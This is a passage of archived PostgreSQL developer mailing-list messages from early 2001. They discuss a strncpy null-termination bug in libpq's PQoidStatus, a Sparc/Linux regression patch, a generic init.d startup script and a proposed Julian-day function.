"msg_contents": "darcy@druid.net (D'Arcy J.M. Cain) writes:\n> Get: 31930584, should be 3193058\n> Get: 31943386, should be 3194338\n\n> As you can see, there is an extra digit added. I am using PQoidStatus()\n> to get the OID. Is this the right way? Is it possible that there is\n> a buffer/terminating problem in the insert code?\n\nYes, on looking at it I see that someone broke PQoidStatus() in 7.0.\nIf you want to fix your copy, the patch (line numbers are for current\nCVS) is\n\nIndex: fe-exec.c\n===================================================================\nRCS file: /home/projects/pgsql/cvsroot/pgsql/src/interfaces/libpq/fe-exec.c,v\nretrieving revision 1.98\nretrieving revision 1.100\ndiff -c -r1.98 -r1.100\n*** fe-exec.c\t2001/01/24 19:43:30\t1.98\n--- fe-exec.c\t2001/02/06 02:02:27\t1.100\n***************\n*** 2035,2041 ****\n \tif (len > 23)\n \t\tlen = 23;\n \tstrncpy(buf, res->cmdStatus + 7, len);\n! \tbuf[23] = '\\0';\n \n \treturn buf;\n }\n--- 2035,2041 ----\n \tif (len > 23)\n \t\tlen = 23;\n \tstrncpy(buf, res->cmdStatus + 7, len);\n! \tbuf[len] = '\\0';\n \n \treturn buf;\n }\n\n\nHowever, really I'd recommend using PQoidValue() and not PQoidStatus()\nat all.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 05 Feb 2001 21:17:45 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: OID from insert has extra letter "
},
{
"msg_contents": "On Mon, Feb 05, 2001 at 09:17:45PM -0500, Tom Lane wrote:\n> \n> Yes, on looking at it I see that someone broke PQoidStatus() in 7.0.\n> If you want to fix your copy, the patch (line numbers are for current\n> CVS) is\n> \n> Index: fe-exec.c\n> ===================================================================\n> RCS file: /home/projects/pgsql/cvsroot/pgsql/src/interfaces/libpq/fe-exec.c,v\n> retrieving revision 1.98\n> retrieving revision 1.100\n> diff -c -r1.98 -r1.100\n> *** fe-exec.c\t2001/01/24 19:43:30\t1.98\n> --- fe-exec.c\t2001/02/06 02:02:27\t1.100\n> ***************\n> *** 2035,2041 ****\n> \tif (len > 23)\n> \t\tlen = 23;\n> \tstrncpy(buf, res->cmdStatus + 7, len);\n> ! \tbuf[23] = '\\0';\n> \n> \treturn buf;\n> }\n> --- 2035,2041 ----\n> \tif (len > 23)\n> \t\tlen = 23;\n> \tstrncpy(buf, res->cmdStatus + 7, len);\n> ! \tbuf[len] = '\\0';\n> \n> \treturn buf;\n> }\n> \n\nHmm, is there some undocumented feature of strncpy that I don't know\nabout, where it modifies the passed length variable (which would be hard,\nsince it's pass by value)? Otherwise, doesn't this patch just replace\nthe constant '23' with the variable 'len', set to 23?\n\nRoss\n",
"msg_date": "Tue, 6 Feb 2001 12:10:04 -0600",
"msg_from": "\"Ross J. Reedstrom\" <reedstrm@rice.edu>",
"msg_from_op": false,
"msg_subject": "Re: OID from insert has extra letter"
},
{
"msg_contents": "> > *** fe-exec.c\t2001/01/24 19:43:30\t1.98\n> > --- fe-exec.c\t2001/02/06 02:02:27\t1.100\n> > ***************\n> > *** 2035,2041 ****\n> > \tif (len > 23)\n> > \t\tlen = 23;\n> > \tstrncpy(buf, res->cmdStatus + 7, len);\n> > ! \tbuf[23] = '\\0';\n> > \n> > \treturn buf;\n> > }\n> > --- 2035,2041 ----\n> > \tif (len > 23)\n> > \t\tlen = 23;\n> > \tstrncpy(buf, res->cmdStatus + 7, len);\n> > ! \tbuf[len] = '\\0';\n> > \n> > \treturn buf;\n> > }\n> > \n> \n> Hmm, is there some undocumented feature of strncpy that I don't know\n> about, where it modifies the passed length variable (which would be hard,\n> since it's pass by value)? Otherwise, doesn't this patch just replace\n> the constant '23' with the variable 'len', set to 23?\n\nWhat if len < 23?\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Tue, 6 Feb 2001 13:21:00 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: OID from insert has extra letter"
},
{
"msg_contents": "On Tue, Feb 06, 2001 at 01:21:00PM -0500, Bruce Momjian wrote:\n\n> What if len < 23?\n\nmea culpa. Must go eat lunch. No sugar to brain. (and no, I didn't put\nthe original error in :-)\n\nRoss\n",
"msg_date": "Tue, 6 Feb 2001 12:27:06 -0600",
"msg_from": "\"Ross J. Reedstrom\" <reedstrm@rice.edu>",
"msg_from_op": false,
"msg_subject": "Re: OID from insert has extra letter"
},
{
"msg_contents": "On Tue, Feb 06, 2001 at 01:21:00PM -0500, Bruce Momjian wrote:\n> > > *** fe-exec.c\t2001/01/24 19:43:30\t1.98\n> > > --- fe-exec.c\t2001/02/06 02:02:27\t1.100\n> > > ***************\n> > > *** 2035,2041 ****\n> > > \tif (len > 23)\n> > > \t\tlen = 23;\n> > > \tstrncpy(buf, res->cmdStatus + 7, len);\n> > > ! \tbuf[23] = '\\0';\n> > > \n> > > \treturn buf;\n> > > }\n> > > --- 2035,2041 ----\n> > > \tif (len > 23)\n> > > \t\tlen = 23;\n> > > \tstrncpy(buf, res->cmdStatus + 7, len);\n> > > ! \tbuf[len] = '\\0';\n> > > \n> > > \treturn buf;\n> > > }\n> > > \n> > \n> > Hmm, is there some undocumented feature of strncpy that I don't know\n> > about, where it modifies the passed length variable (which would be hard,\n> > since it's pass by value)? Otherwise, doesn't this patch just replace\n> > the constant '23' with the variable 'len', set to 23?\n> \n> What if len < 23?\n\nIf len < 23, then strncpy will have terminated the destination\nalready. Poking out buf[23] just compensates for a particular\nbit of brain damage in strncpy. Read the man page:\n\n The strncpy() function is similar [to strcpy], except that not\n more than n bytes of src are copied. Thus, if there is no null\n byte among the first n bytes of src, the result wil not be\n null-terminated.\n\nThus, the original code is OK, except probably the literal \"23\"\nin place of what should be a meaningful symbolic constant, or\n(at least!) sizeof(buf) - 1.\n\nBTW, that static buffer in PGoidStatus is likely to upset threaded \nclient code...\n\n<ob-ed>\nTo null-terminate strings is an Abomination. \n</ob-ed>\n\nNathan Myers\nncm@zembu.com\n",
"msg_date": "Tue, 6 Feb 2001 10:59:14 -0800",
"msg_from": "ncm@zembu.com (Nathan Myers)",
"msg_from_op": false,
"msg_subject": "Re: OID from insert has extra letter"
},
{
"msg_contents": "ncm@zembu.com (Nathan Myers) writes:\n> Thus, the original code is OK, except probably the literal \"23\"\n> in place of what should be a meaningful symbolic constant, or\n> (at least!) sizeof(buf) - 1.\n\nNo, the original code is NOT ok. Read the man page again. As the\ncode stood, the only null that ever got written to the buffer was the\none installed in buf[23]. The only reason it appeared to work at all\nwas that buf would start out all zeroes --- but after one or more uses\nit's not all zeroes anymore. See the bug report that started the\nthread ...\n\n> BTW, that static buffer in PGoidStatus is likely to upset threaded \n> client code...\n\nYeah, we know. The routine is deprecated now because of that.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Tue, 06 Feb 2001 19:08:20 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: OID from insert has extra letter "
},
{
"msg_contents": "On Tue, Feb 06, 2001 at 07:08:20PM -0500, Tom Lane wrote:\n> ncm@zembu.com (Nathan Myers) writes:\n> > Thus, the original code is OK, except probably the literal \"23\"\n> > in place of what should be a meaningful symbolic constant, or\n> > (at least!) sizeof(buf) - 1.\n> \n> No, the original code is NOT ok. Read the man page again. As the\n> code stood, the only null that ever got written to the buffer was the\n> one installed in buf[23]. The only reason it appeared to work at all\n> was that buf would start out all zeroes --- but after one or more uses\n> it's not all zeroes anymore. See the bug report that started the\n> thread ...\n\nSeems it's a non-portable behavior:\n\n The strncpy() function is similar, except that not more\n than n bytes of src are copied. Thus, if there is no null\n byte among the first n bytes of src, the result wil not be\n null-terminated.\n\n In the case where the length of src is less than that of\n n, the remainder of dest will be padded with nulls.\n\nI've already forgotten what platform the original bug report came from.\n\nRoss\n",
"msg_date": "Tue, 6 Feb 2001 18:17:46 -0600",
"msg_from": "\"Ross J. Reedstrom\" <reedstrm@rice.edu>",
"msg_from_op": false,
"msg_subject": "Re: OID from insert has extra letter"
},
{
"msg_contents": "On Tue, Feb 06, 2001 at 06:17:46PM -0600, Ross J. Reedstrom wrote:\n> \n> Seems it's a non-portable behavior:\n> \n> The strncpy() function is similar, except that not more\n> than n bytes of src are copied. Thus, if there is no null\n> byte among the first n bytes of src, the result wil not be\n> null-terminated.\n> \n> In the case where the length of src is less than that of\n> n, the remainder of dest will be padded with nulls.\n> \n> I've already forgotten what platform the original bug report came from.\n\nJust checked, D'Arcy never told us. But it doesn't matter, the manpage\nlies. I just tested it with a tiny little program that copies two\ndifferent constant strings into a buffer. Nothing get's padded with nulls,\nas Tom knew. Once again, experience trumps book knowledge. (Checking\na couple random examples from my own code, I seem to have lucked out:\nI've a habit of zeroing my buffers myself)\n\nRoss\n",
"msg_date": "Tue, 6 Feb 2001 18:39:38 -0600",
"msg_from": "\"Ross J. Reedstrom\" <reedstrm@rice.edu>",
"msg_from_op": false,
"msg_subject": "Re: OID from insert has extra letter"
},
{
"msg_contents": "\"Ross J. Reedstrom\" <reedstrm@rice.edu> writes:\n> Seems it's a non-portable behavior:\n\nNot at all. The code is asking strncpy to copy n bytes, where n is\nknown to be <= strlen of the source string. Every spec-conforming\nimplementation of strncpy will copy n bytes, no more, no less, and\nwill *not* add a trailing null after them. The only reason the code\nappeared to work is that it was dealing with a static buffer that\nstarts out all zeroes, so the trailing null was already in place.\nUntil the buffer had been used for a longer OID, that is.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Tue, 06 Feb 2001 19:51:06 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: OID from insert has extra letter "
}
] |
[
{
"msg_contents": "Just a few random bits and pieces that might be useful to someone\nelse. They are:\n\n\tpostgres-7-sparc.patch -> This is the same one I posted earlier to\nhackers and ports, forgot to post it to patches. This fixes the resultmap\nfor sparc-linux so that all regression tests pass.\n\n\tpostgresql -> This is a Linux distribution independent (or so I\nhope) init.d/rc.d script that makes use of pg_ctl. There is currently a\nfew in ./contrib/linux of the pgsql source tree, but they are RedHat\nspecific. This one is simple and self contained. Might be worth adding to\nthe other scripts. \n\n\tpg_ctl.patch -> Minor patch required by postgresql script above.\nIt basically just allows you to specify the -o option (postmaster options)\nmore than once and all of them will be concatenated together. Makes it\neasier to do '-o -F -o -i', then to try and shell escape quotes in a shell\nscript. Should be harmless, and might be handy. \n\nAnyway, just wanted to post them in case some one was interested in them.\nTTYL.\n\n---------------------------------------------------------------------------\n| \"For to me to live is Christ, and to die is gain.\" |\n| --- Philippians 1:21 (KJV) |\n---------------------------------------------------------------------------\n| Ryan Kirkpatrick | Boulder, Colorado | http://www.rkirkpat.net/ |\n---------------------------------------------------------------------------",
"msg_date": "Mon, 29 Jan 2001 21:52:39 -0700 (MST)",
"msg_from": "Ryan Kirkpatrick <pgsql@rkirkpat.net>",
"msg_from_op": true,
"msg_subject": "A Sparc/Linux patch (for 7.1), and a Linux rc.d/init.d script...."
},
{
"msg_contents": "> \tJust a few random bits and pieces that might be useful to someone\n> else. They are:\n> \n> \tpostgres-7-sparc.patch -> This is the same one I posted earlier to\n> hackers and ports, forgot to post it to patches. This fixes the resultmap\n> for sparc-linux so that all regression tests pass.\n\nAlready applied.\n\n> \n> \tpostgresql -> This is a Linux distribution independent (or so I\n> hope) init.d/rc.d script that makes use of pg_ctl. There is currently a\n> few in ./contrib/linux of the pgsql source tree, but they are RedHat\n> specific. This one is simple and self contained. Might be worth adding to\n> the other scripts. \n\nAdded to /contrib as init.d. \n\n> \n> \tpg_ctl.patch -> Minor patch required by postgresql script above.\n> It basically just allows you to specify the -o option (postmaster options)\n> more than once and all of them will be concatenated together. Makes it\n> easier to do '-o -F -o -i', then to try and shell escape quotes in a shell\n> script. Should be harmless, and might be handy. \n\nThis doesn't seem like a good idea. It makes -o handling different for\ndifferent utilities.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Tue, 30 Jan 2001 12:39:32 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: A Sparc/Linux patch (for 7.1), and a Linux rc.d/init.d script...."
},
{
"msg_contents": "On Tue, 30 Jan 2001, Bruce Momjian wrote:\n\n> > \tpostgres-7-sparc.patch -> This is the same one I posted earlier to\n> > hackers and ports, forgot to post it to patches. This fixes the resultmap\n> > for sparc-linux so that all regression tests pass.\n> \n> Already applied.\n\n\tGreat! Just never saw a confirmation (may have missed it) of my\nfirst post. Also verified it is in beta4, and all regression\ntests now pass on Sparc/Linux. :)\n\n> > \tpostgresql -> This is a Linux distribution independent (or so I\n> > hope) init.d/rc.d script that makes use of pg_ctl. There is currently a\n> > few in ./contrib/linux of the pgsql source tree, but they are RedHat\n> > specific. This one is simple and self contained. Might be worth adding to\n> > the other scripts. \n>\n> Added to /contrib as init.d. \n\n\tPlease replace with the one attached to this email message. The\nprevious version depended on the below patch, this one does not. It is\nalso a bit cleaner and has a few more helpful comments. \n\n> > \tpg_ctl.patch -> Minor patch required by postgresql script above.\n> > It basically just allows you to specify the -o option (postmaster options)\n> > more than once and all of them will be concatenated together. Makes it\n> > easier to do '-o -F -o -i', then to try and shell escape quotes in a shell\n> > script. Should be harmless, and might be handy. \n> \n> This doesn't seem like a good idea. It makes -o handling different for\n> different utilities.\n\n\tHmm... Didn't know other utils used that option. Maybe use the\n'--' option for pg_ctl passing postmaster options, i.e. 'pg_ctl start --\n-F -i'. Of course that is a bit more major of a change to the code that I\nwill leave as an exercise to others. With the revised version of the\ninit.d script attached, the pg_ctl patch is immaterial.\n\tThanks and TTYL.\n\n---------------------------------------------------------------------------\n| \"For to me to live is Christ, and to die is gain.\" |\n| --- Philippians 1:21 (KJV) |\n---------------------------------------------------------------------------\n| Ryan Kirkpatrick | Boulder, Colorado | http://www.rkirkpat.net/ |\n---------------------------------------------------------------------------",
"msg_date": "Tue, 30 Jan 2001 20:01:02 -0700 (MST)",
"msg_from": "Ryan Kirkpatrick <pgsql@rkirkpat.net>",
"msg_from_op": true,
"msg_subject": "Re: A Sparc/Linux patch (for 7.1), and a Linux rc.d/init.d script...."
},
{
"msg_contents": "> Great! Just never saw a confirmation (may have missed it) of my\n> first post. Also verified it is in beta4, and all regression\n> tests now pass on Sparc/Linux. :)\n\nWhat version of Linux? I'm updating the ports listing...\n\n - Thomas\n",
"msg_date": "Thu, 01 Feb 2001 14:08:42 +0000",
"msg_from": "Thomas Lockhart <lockhart@alumni.caltech.edu>",
"msg_from_op": false,
"msg_subject": "Re: A Sparc/Linux patch (for 7.1), and a Linux rc.d/init.dscript...."
},
{
"msg_contents": "Applied.\n\n> On Tue, 30 Jan 2001, Bruce Momjian wrote:\n> \n> > > \tpostgres-7-sparc.patch -> This is the same one I posted earlier to\n> > > hackers and ports, forgot to post it to patches. This fixes the resultmap\n> > > for sparc-linux so that all regression tests pass.\n> > \n> > Already applied.\n> \n> \tGreat! Just never saw a confirmation (may have missed it) of my\n> first post. Also verified it is in beta4, and all regression\n> tests now pass on Sparc/Linux. :)\n> \n> > > \tpostgresql -> This is a Linux distribution independent (or so I\n> > > hope) init.d/rc.d script that makes use of pg_ctl. There is currently a\n> > > few in ./contrib/linux of the pgsql source tree, but they are RedHat\n> > > specific. This one is simple and self contained. Might be worth adding to\n> > > the other scripts. \n> >\n> > Added to /contrib as init.d. \n> \n> \tPlease replace with the one attached to this email message. The\n> previous version depended on the below patch, this one does not. It is\n> also a bit cleaner and has a few more helpful comments. \n> \n> > > \tpg_ctl.patch -> Minor patch required by postgresql script above.\n> > > It basically just allows you to specify the -o option (postmaster options)\n> > > more than once and all of them will be concatenated together. Makes it\n> > > easier to do '-o -F -o -i', then to try and shell escape quotes in a shell\n> > > script. Should be harmless, and might be handy. \n> > \n> > This doesn't seem like a good idea. It makes -o handling different for\n> > different utilities.\n> \n> \tHmm... Didn't know other utils used that option. Maybe use the\n> '--' option for pg_ctl passing postmaster options, i.e. 'pg_ctl start --\n> -F -i'. Of course that is a bit more major of a change to the code that I\n> will leave as an exercise to others. With the revised version of the\n> init.d script attached, the pg_ctl patch is immaterial.\n> \tThanks and TTYL.\n> \n> ---------------------------------------------------------------------------\n> | \"For to me to live is Christ, and to die is gain.\" |\n> | --- Philippians 1:21 (KJV) |\n> ---------------------------------------------------------------------------\n> | Ryan Kirkpatrick | Boulder, Colorado | http://www.rkirkpat.net/ |\n> ---------------------------------------------------------------------------\nContent-Description: \n\n[ Attachment, skipping... ]\n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Thu, 1 Feb 2001 13:13:54 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: A Sparc/Linux patch (for 7.1), and a Linux rc.d/init.d script...."
},
{
"msg_contents": "On Thu, 1 Feb 2001, Thomas Lockhart wrote:\n\n> > Great! Just never saw a confirmation (may have missed it) of my\n> > first post. Also verified it is in beta4, and all regression\n> > tests now pass on Sparc/Linux. :)\n> \n> What version of Linux? I'm updating the ports listing...\n\n\tDebian GNU/Linux 2.2, with 2.2.15 (stock kernel for this\ndistribution). For a bit more details, I tested it on a Sparc 20 w/64MB \nof RAM, running the stock gcc 2.95.2 and glibc 2.1.3. \n\tIs that sufficient? :)\n\n---------------------------------------------------------------------------\n| \"For to me to live is Christ, and to die is gain.\" |\n| --- Philippians 1:21 (KJV) |\n---------------------------------------------------------------------------\n| Ryan Kirkpatrick | Boulder, Colorado | http://www.rkirkpat.net/ |\n---------------------------------------------------------------------------\n\n",
"msg_date": "Thu, 1 Feb 2001 20:29:18 -0700 (MST)",
"msg_from": "Ryan Kirkpatrick <pgsql@rkirkpat.net>",
"msg_from_op": true,
"msg_subject": "Re: A Sparc/Linux patch (for 7.1), and a Linux rc.d/init.dscript...."
},
{
"msg_contents": "Hello Developers,\n\nI have written a function to calculate the julian day from any gregorian day.\nYou can include this code in the contrib directory or whatever place seems\napplicable in future releases of posgresql.\n\nSee the attachment for code and examples.\n\n-- \n--\n---> doj@redaex.de",
"msg_date": "Fri, 2 Feb 2001 14:09:54 +0100",
"msg_from": "<doj@wwws2.redaex.de>",
"msg_from_op": false,
"msg_subject": "julian day function"
},
{
"msg_contents": "> Is that sufficient? :)\n\nYes ;)\n\n - Thomas\n",
"msg_date": "Fri, 02 Feb 2001 14:00:33 +0000",
"msg_from": "Thomas Lockhart <lockhart@alumni.caltech.edu>",
"msg_from_op": false,
"msg_subject": "Re: A Sparc/Linux patch (for 7.1), and a Linux rc.d/init.dscript...."
},
{
"msg_contents": "> I have written a function to calculate the julian day from any gregorian day.\n> You can include this code in the contrib directory or whatever place seems\n> applicable in future releases of posgresql.\n\nLooks nice!\n\nThere is already a j2date()/date2j() subroutine pair in the backend, to\nsupport all of the existing date/time arithmetic. Would you be willing\nto use calls to that? Then we wouldn't have two sets of code to maintain\n(not that JD calculations change very often ;)\n\nIt would likely be helpful to have a, say, \"julian\" argument to\ndate_part(), which I'd be happy to add in. There is already access to\nJulian date using the to_char(date,'J') function call, and you can get a\nnumeric type return using\n\n cast(to_char(date,'J') as int)\n\n - Thomas\n",
"msg_date": "Fri, 02 Feb 2001 14:17:46 +0000",
"msg_from": "Thomas Lockhart <lockhart@alumni.caltech.edu>",
"msg_from_op": false,
"msg_subject": "Re: julian day function"
},
{
"msg_contents": "On Thu, 1 Feb 2001, Bruce Momjian wrote:\n\n> Applied.\n> \n> > On Tue, 30 Jan 2001, Bruce Momjian wrote:\n>\n> > > > \tpostgresql -> This is a Linux distribution independent (or so I\n> > > > hope) init.d/rc.d script that makes use of pg_ctl. There is currently a\n> > > > few in ./contrib/linux of the pgsql source tree, but they are RedHat\n> > > > specific. This one is simple and self contained. Might be worth adding to\n> > > > the other scripts. \n> > >\n> > > Added to /contrib as init.d. \n> > \n> > \tPlease replace with the one attached to this email message. The\n> > previous version depended on the below patch, this one does not. It is\n> > also a bit cleaner and has a few more helpful comments. \n\n\tThanks for the quick response. Just as nit-pick the\n./contrib/README lists ./contirb/init.d as a starting/stopping script as\nfor 'non-Linux' systems.... Uh... I meant it as non-distribution specific,\nbut still probably linux specific. Though it is so general that any unix\nsystem that has bash (might even world under sh, never tested) that uses\ninit.d style scripts should work. Maybe state it as a 'generic unix\ninit.d script for starting/stopping pgsql....'? Thanks.\n\n---------------------------------------------------------------------------\n| \"For to me to live is Christ, and to die is gain.\" |\n| --- Philippians 1:21 (KJV) |\n---------------------------------------------------------------------------\n| Ryan Kirkpatrick | Boulder, Colorado | http://www.rkirkpat.net/ |\n---------------------------------------------------------------------------\n\n",
"msg_date": "Fri, 2 Feb 2001 18:58:51 -0700 (MST)",
"msg_from": "Ryan Kirkpatrick <pgsql@rkirkpat.net>",
"msg_from_op": true,
"msg_subject": "Re: A Sparc/Linux patch (for 7.1), and a Linux rc.d/init.d script...."
},
{
"msg_contents": "New text:\n\n Init.d-style scripts for starting and stopping the PostgreSQL\n server by Ryan Kirkpatrick <pgsql@rkirkpat.net\n\nThanks.\n\n\n> On Thu, 1 Feb 2001, Bruce Momjian wrote:\n> \n> > Applied.\n> > \n> > > On Tue, 30 Jan 2001, Bruce Momjian wrote:\n> >\n> > > > > \tpostgresql -> This is a Linux distribution independent (or so I\n> > > > > hope) init.d/rc.d script that makes use of pg_ctl. There is currently a\n> > > > > few in ./contrib/linux of the pgsql source tree, but they are RedHat\n> > > > > specific. This one is simple and self contained. Might be worth adding to\n> > > > > the other scripts. \n> > > >\n> > > > Added to /contrib as init.d. \n> > > \n> > > \tPlease replace with the one attached to this email message. The\n> > > previous version depended on the below patch, this one does not. It is\n> > > also a bit cleaner and has a few more helpful comments. \n> \n> \tThanks for the quick response. Just as nit-pick the\n> ./contrib/README lists ./contirb/init.d as a starting/stopping script as\n> for 'non-Linux' systems.... Uh... I meant it as non-distribution specific,\n> but still probably linux specific. Though it is so general that any unix\n> system that has bash (might even world under sh, never tested) that uses\n> init.d style scripts should work. Maybe state it as a 'generic unix\n> init.d script for starting/stopping pgsql....'? Thanks.\n> \n> ---------------------------------------------------------------------------\n> | \"For to me to live is Christ, and to die is gain.\" |\n> | --- Philippians 1:21 (KJV) |\n> ---------------------------------------------------------------------------\n> | Ryan Kirkpatrick | Boulder, Colorado | http://www.rkirkpat.net/ |\n> ---------------------------------------------------------------------------\n> \n> \n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Fri, 2 Feb 2001 23:12:51 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: A Sparc/Linux patch (for 7.1), and a Linux rc.d/init.d script...."
},
{
"msg_contents": "Ryan Kirkpatrick writes:\n\n> \tpostgresql -> This is a Linux distribution independent (or so I\n> hope) init.d/rc.d script that makes use of pg_ctl. There is currently a\n> few in ./contrib/linux of the pgsql source tree, but they are RedHat\n> specific. This one is simple and self contained. Might be worth adding to\n> the other scripts.\n\nI don't see how this can be more independent if it uses\n\nDAEMON=/home/postgres/bin/pg_ctl\n\nand\n\nLOG=\"/usr/local/pgsql/server.log\"\n\nNor is\n\nsu - postgres sh -c \"$DAEMON stop >& /dev/null\"\n\nan appropriate way to stop the server in a system shutdown situation.\n\n\nIMHO, rather than accumulating a bunch of versions that somebody liked\nbetter than the existing ones, why not provide actual scripts from actual\ndistributions? Generic scripts will just lead to generic problems.\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Sun, 4 Feb 2001 16:19:50 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": false,
"msg_subject": "Re: [PATCHES] A Sparc/Linux patch (for 7.1), and a Linux rc.d/init.d\n\tscript...."
},
{
"msg_contents": "> LOG=\"/usr/local/pgsql/server.log\"\n> \n> Nor is\n> \n> su - postgres sh -c \"$DAEMON stop >& /dev/null\"\n\nAlso, >& is not standard either.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Sun, 4 Feb 2001 14:26:16 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Re: [PATCHES] A Sparc/Linux patch (for 7.1), and a Linux\n\trc.d/init.d script...."
},
{
"msg_contents": "\nOn Fri, 2 Feb 2001, Thomas Lockhart wrote:\n\n> > I have written a function to calculate the julian day from any gregorian day.\n> > You can include this code in the contrib directory or whatever place seems\n> > applicable in future releases of posgresql.\n> \n> Looks nice!\n> \n> There is already a j2date()/date2j() subroutine pair in the backend, to\n> support all of the existing date/time arithmetic. Would you be willing\n> to use calls to that? Then we wouldn't have two sets of code to maintain\n> (not that JD calculations change very often ;)\n> \n> It would likely be helpful to have a, say, \"julian\" argument to\n> date_part(), which I'd be happy to add in. There is already access to\n> Julian date using the to_char(date,'J') function call, and you can get a\n> numeric type return using\n> \n> cast(to_char(date,'J') as int)\n\n ... and vice versa:\n\n test=# select to_timestamp('2451946', 'J');\n to_timestamp\n------------------------\n 2001-02-05 00:00:00+01\n(1 row)\n\n\t\tKarel\n\n",
"msg_date": "Mon, 5 Feb 2001 08:02:49 +0100 (CET)",
"msg_from": "Karel Zak <zakkr@zf.jcu.cz>",
"msg_from_op": false,
"msg_subject": "Re: julian day function"
},
{
"msg_contents": "On Sun, 4 Feb 2001, Peter Eisentraut wrote:\n\n> Ryan Kirkpatrick writes:\n> \n> > \tpostgresql -> This is a Linux distribution independent (or so I\n> > hope) init.d/rc.d script that makes use of pg_ctl. There is currently a\n> > few in ./contrib/linux of the pgsql source tree, but they are RedHat\n> > specific. This one is simple and self contained. Might be worth adding to\n> > the other scripts.\n> \n> I don't see how this can be more independent if it uses\n> \n> DAEMON=/home/postgres/bin/pg_ctl\n\n\tOoops.... That is my mistake... Should have been\n/usr/local/pgsql/bin/pg_ctl. I have /usr/local/pgsql/ symlinked to /home\n(where there is more, faster disk space). I can submit a patch, or can\nsome one just fix it?\n\n> LOG=\"/usr/local/pgsql/server.log\"\n\n\tWhat is wrong with that? There really is no standard on where to\nput the log file, so it is either here or /var/log.\n\n> su - postgres sh -c \"$DAEMON stop >& /dev/null\"\n\n\tHmm... What is wrong here, besides the '>&'? The '>&' can be\nreplaced with '2>&1 >' if that is more standard.\n\n> an appropriate way to stop the server in a system shutdown situation.\n\n\tUh... Isn't that the way you are supposed to stop it? pg_ctl stop?\n\n> IMHO, rather than accumulating a bunch of versions that somebody liked\n> better than the existing ones, why not provide actual scripts from actual\n> distributions? Generic scripts will just lead to generic problems.\n\n\tFine by me... I just put mine up as a suggestion, as the only\nother one in contrib was very RH specific. The one included with the\ndebian package is very debian specific (and over complex in IMHO). I just\nsubmitted mine as a possible generic Linux version that should work with\nbash on most installation. If some one has a better idea, then by all\nmeans post it.\n\tAlso, from the way I understand contrib, they are user submissions\nand are in no way assured to work on any other machine than the user's who\nsubmitted it. I take it as given anything in contrib might need a bit of\nediting to fit my needs.\n\tAnyway, just my response as one who has used Slackware, RedHat,\nand now Debian over the years, but who in no way claims to be an\nuber-Linux or Unix hacker or sysadmin. :)\n\n\tPS. I do play a part time Linux sysadmin in real though...\n\n---------------------------------------------------------------------------\n| \"For to me to live is Christ, and to die is gain.\" |\n| --- Philippians 1:21 (KJV) |\n---------------------------------------------------------------------------\n| Ryan Kirkpatrick | Boulder, Colorado | http://www.rkirkpat.net/ |\n---------------------------------------------------------------------------\n\n",
"msg_date": "Mon, 5 Feb 2001 21:59:13 -0700 (MST)",
"msg_from": "Ryan Kirkpatrick <ryan@calibration.com>",
"msg_from_op": false,
"msg_subject": "Re: [PATCHES] A Sparc/Linux patch (for 7.1), and a Linux rc.d/init.d\n\tscript...."
},
{
"msg_contents": "> On Sun, 4 Feb 2001, Peter Eisentraut wrote:\n> \n> > Ryan Kirkpatrick writes:\n> > \n> > > \tpostgresql -> This is a Linux distribution independent (or so I\n> > > hope) init.d/rc.d script that makes use of pg_ctl. There is currently a\n> > > few in ./contrib/linux of the pgsql source tree, but they are RedHat\n> > > specific. This one is simple and self contained. Might be worth adding to\n> > > the other scripts.\n> > \n> > I don't see how this can be more independent if it uses\n> > \n> > DAEMON=/home/postgres/bin/pg_ctl\n> \n> \tOoops.... That is my mistake... Should have been\n> /usr/local/pgsql/bin/pg_ctl. I have /usr/local/pgsql/ symlinked to /home\n> (where there is more, faster disk space). I can submit a patch, or can\n> some one just fix it?\n\nChange made.\n\n> > LOG=\"/usr/local/pgsql/server.log\"\n> \n> \tWhat is wrong with that? There really is no standard on where to\n> put the log file, so it is either here or /var/log.\n> \n> > su - postgres sh -c \"$DAEMON stop >& /dev/null\"\n> \n> \tHmm... What is wrong here, besides the '>&'? The '>&' can be\n> replaced with '2>&1 >' if that is more standard.\n> \n\nChange made.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n 